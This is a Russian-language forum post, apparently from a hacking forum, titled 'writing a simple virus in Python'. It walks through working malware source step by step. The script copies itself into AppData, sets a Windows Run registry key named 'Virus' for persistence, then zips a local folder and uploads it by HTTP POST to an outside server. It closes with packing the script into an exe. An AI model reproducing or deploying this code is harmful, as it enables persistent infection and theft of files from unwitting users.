Пишем простой вирус на python

  • Автор темы Tayler
  • Дата начала
  • Просмотров 18365 Просмотров

Tayler

Резидент
240
248
21 Апр 2017
Перед шарагой нечего было делать, настрочил простенький вирь на питоне, что бы он
послужил вам примером/неким представлением "тёмной" области этого языка.

Добавим наш заражённый файл в какую-нибудь папку, где он не будет мозолить
пользователю глаза, я долго думать не стал, т.к это всего лишь пример и добавил его в
папку AppData.
Python:
directory = os.getenv("APPDATA") + r'/your_program/'
base_file = directory + os.path.basename(__file__)


if not os.path.exists(directory):
    os.makedirs(directory)
    shutil.copy(__file__, base_file)

Первым делом я решил закрепить наш файл в автозапуске операционной системе,
делал я это через реестр.Тут нам поможет модуль winreg.

Python:
path_to_reestr = OpenKey(HKEY_CURRENT_USER,
                        r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                        0, KEY_ALL_ACCESS)
SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)
CloseKey(path_to_reestr)

В переменной мы установили путь до реестра, дальше добавили значение нашего вируса,
лучше назвать его как-то неприметно, но я во все услышание ознаменовал его 'Virus'.
И устанавливаем путь до файла (base_file).


Ну и тупо в три строчки напишем тело нашего вируса xD

Python:
# Добавляем папку в аврхив
shutil.make_archive(r'Имя архива', 'zip', r'Папка')

# Отправляем архив на сервер
files = {'Имя архива': open('Имя архива', 'rb')}
r = requests.post('http://httpbin.org/post', files=files)

Добавляем его в архив и отправляем на сервер с помощью post запроса.

В итоге у нас должно получиться что-то наподобие этого
Python:
import shutil
import os
import sys
import requests
from winreg import *


def autorun():
    # Путь, который будет светиться в авторане
    directory = os.getenv("APPDATA") + r'/your_program/'
    base_file = directory + os.path.basename(__file__)

    if not os.path.exists(directory):
        os.makedirs(directory)
        shutil.copy(__file__, base_file)

    # Путь в реестре
    path_to_reestr = OpenKey(HKEY_CURRENT_USER,
                     r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',
                     0, KEY_ALL_ACCESS)
    # Установить программу "Virus" в автозагрузку
    SetValueEx(path_to_reestr, 'Virus', 0, REG_SZ, base_file)
    # Закрыть реестр
    CloseKey(path_to_reestr)


def addToZip():
    # Добавляем папку в аврхив
    shutil.make_archive(r'C:\\file', 'zip', r'C:\xampp')[/SPOILER]

    # Отправляем архив на сервер
    files = {'file.zip': open('C:\\file.zip', 'rb')}
    r = requests.post('http://httpbin.org/post', files=files)

autorun()
addToZip()

Пакуем его в exe с помощью pyinstaller(в инете документации есть) и радуемся.